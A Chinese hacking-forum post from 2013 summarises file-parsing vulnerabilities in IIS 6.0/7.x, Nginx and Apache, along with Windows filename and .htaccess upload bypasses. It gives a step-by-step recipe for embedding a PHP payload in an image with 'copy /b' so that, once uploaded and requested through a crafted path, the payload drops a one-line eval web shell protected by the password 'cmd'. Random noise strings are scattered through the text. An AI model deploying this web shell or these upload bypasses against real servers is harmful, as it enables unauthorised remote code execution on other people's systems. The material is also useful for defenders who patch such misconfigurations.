找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 3304|回复: 0
打印 上一主题 下一主题

常见服务器解析漏洞总结

[复制链接]
跳转到指定楼层
楼主
发表于 2013-4-19 19:14:09 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
Author : laterain. d! b0 N( r, ~
[+]IIS6.0
. W! @  j; `+ Z' w/ ]
9 \$ B& ^) x$ U目录解析:/xx.asp/xx.jpg
( y# A* i& H$ e/ ] xx.jpg 可替换为任意文本文件(e.g. xx.txt),文本内容为后门代码4 w! c8 _, I6 a7 ^
IIS6.0 会将 xx.jpg 解析为 asp 文件。5 [# L0 B3 D/ Q7 D
后缀解析:/xx.asp;.jpg     
- r3 d! F/ h& C IIS6.0 都会把此类后缀文件成功解析为 asp 文件。
6 C1 {" ]9 D/ T% I/ @默认解析:/xx.asa' }4 O$ z2 |4 G
         /xx.cer; {% e) @4 L1 T2 A' [% y3 z
         /xx.cdx
. P4 g6 w+ C8 u3 D+ y% X1 S8 Z IIS6.0 默认的可执行文件除了 asp 还包含这三种
6 [# |9 [1 y% W 此处可联系利用目录解析漏洞
% _/ @6 a$ s$ I/ `; q/xx.asa/xx.jpg 或 /xx.cer/xx.jpg 或 xx.asa;.jpg
5 C0 l& G9 J" ]; x( I[+]IIS 7.0/IIS 7.5/Nginx <0.8.03* n6 C# M( ^5 k& z% j

( [5 V; k3 a) ~( u IIS 7.0/IIS 7.5/Nginx <0.8.03+ ?% H9 g/ k, \% A
在默认Fast-CGI开启状况下,在一个文件路径(/xx.jpg)后面6 z) ^) e4 o' L9 z0 d/ v8 b! T
加上/xx.php,会将 /xx.jpg/xx.php 解析为 php 文件。7 E4 r9 ~# G; ?- [* W) N& a
常用利用方法:1 l2 f1 H; T$ ~2 O& B2 r) P
将一张图和一个写入后门代码的文本文件合并将恶意文本1 f* b2 _7 y3 y0 w& B7 V
写入图片的二进制代码之后,避免破坏图片文件头和尾* ?; V/ @% `) W) C  {
如:
) U$ v: n3 o1 M% ^4 z. ^ copy xx.jpg /b + yy.txt/a xy.jpg( Z- E* E1 u% N5 G0 u1 ^; G
########################################################## J' i# N4 X; W, J7 D
/b 即二进制[binary]模式
! c* ^/ {: Y. ` /a 即ascii模式
6 P2 l, K" ?9 Y) S$ |6 m xx.jpg 正常图片文件
+ q# i( o/ U3 \5 ]7 W0 `2 O: S( ~ yy.txt 内容 <?PHP fputs(fopen('shell.php','w'),
' k. T. l, ]# l: G+ H) |* L '<?php eval($_POST[cmd])?>');?>' \) E. L; J+ C4 d0 d& A: V
意思为写入一个内容为 <?php eval($_POST[cmd])?> 名称
7 L  f6 A' ]8 y% t 为shell.php的文件
4 S0 t; k. z4 R# L* Q3 G ###########################################################
# I3 u' [- F! [& R 找个地方上传 xy.jpg ,然后找到 xy.jpg 的地址,在地址后加上 /xx.php 2 G/ b- ~4 v$ L9 l6 T
即可执行恶意文本。然后就在图片目录下生成一句话木马 shell.php # \% G0 p/ \/ p) l/ Y" O4 t
密码 cmd
% {1 {* l1 W8 G: \1 F( |! c: c3 R3 L[+]Nginx <0.8.03. q0 D) h5 k$ G$ o8 m; ]

2 p- C$ P3 ~) V( F8 v: A 在Fast-CGI关闭的情况下,Nginx <0.8.03依然存在解析漏洞/ m1 ^' w. }2 I; D/ z4 C
在一个文件路径(/xx.jpg)后面加上%00.php
+ I) q- o: n+ O/ N 会将 /xx.jpg%00.php 解析为 php 文件。
2 T4 k# b, S" N# }! h: }/ W[+]Apache<0.8.03
5 u+ P) Y4 r! ?5 u2 V
5 y0 U( @/ H5 Z3 H3 }( x4 [ 后缀解析:test.php.x1.x2.x3, p8 h/ c6 v2 |" f8 H
Apache将从右至左开始判断后缀,若x3非可识别后缀,) X( b0 F0 @! N* d1 j
再判断x2,直到找到可识别后缀为止,然后将该可识别
5 Q, M+ J6 \, o0 {7 J# N% m 后缀进解析test.php.x1.x2.x3 则会被解析为php! M1 a2 ~5 ?9 M; n- q4 i0 z+ ~; ~  Z
经验之谈:php|php3|phtml 多可被Apache解析。
7 _1 ?9 {% ?  t1 O% y[+]其他一些可利用的
/ V! V+ F& D1 L' E+ r; j
; K2 I: b" w/ D3 u* v在windows环境下,xx.jpg[空格] 或xx.jpg. 这两类文件都是不允许存在的
( H7 ?. _* ^1 K1 U: u若这样命名,windows会默认除去空格或点,这也是可以被利用的!
2 B" v# w- B, `4 L7 E, [" x在向一台windows主机上传数据时,你可以抓包修改文件名,在后面加个空格
+ N( y: M4 N+ Z' z5 l或点,试图绕过黑名单,若上传成功,最后的点或空格都会被消除,这样就可
1 Q( [/ }' ^6 H4 R得到shell。我记得Fck Php 2.6就存在加空格绕过的漏洞。
+ j3 T% E6 C8 X/ V3 ^" q) a{Linux主机中不行,Linux允许这类文件存在}
5 I7 B. F8 `& }* [3 \如果在Apache中.htaccess可被执行(默认不执行,这是90sec里的一位朋友说1 s# R' u9 x/ K3 \( v% f, q
的,当初我并不知道),且可以被上传,那可以尝试在
! T3 Z" H4 o3 \.htaccess中写入:# [, }3 y& |9 J. F
<FilesMatch “shell.jpg”> % ^  m6 j! H3 f" r( r) P7 U7 Z$ c! \
SetHandler application/x-httpd-php 9 k, m( n9 l7 {7 M7 d6 l  f
</FilesMatch>
; W8 B0 K: \3 i* ^1 {shell.jpg换成你上传的文件,这样shell.jpg就可解析为php文件  ]& ^5 z( _( y" a# o( t: v; \. L
[+]错误修改
1 |& v  @) E/ d$ o6 Y
& S0 u- U/ I5 f" u! x" R& l在 IIS 6.0 下可解析 /xx.asp:.jpg
4 t$ g% e  e: J1 o2 j{/xx.asp:.jpg 此类文件在Windows下不允许存在,:.jpg被自动除去
  d/ l+ y4 W4 k剩下/xx.asp}修改:
1 y2 C. V  k: G3 E8 F先谢谢核攻击的提醒
( r* m8 \! {* V: `4 B7 V0 E当上传一个/xx.asp:.jpg文件时,的确:.jpg会消失,但是现在的/xx.asp
# j' M; k0 v* [3 a里是没有任何内容的,因为。。不好解释 大家自己看; n! m7 ?& o5 m" I! K5 C
http://lcx.cc/?i=2448
3 g" g1 s2 u, x+ ~* thttp://baike.baidu.com/view/3619593.htm
- J" m  g% a6 v( P; D( D
8 z+ T* t! z4 @1 t
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表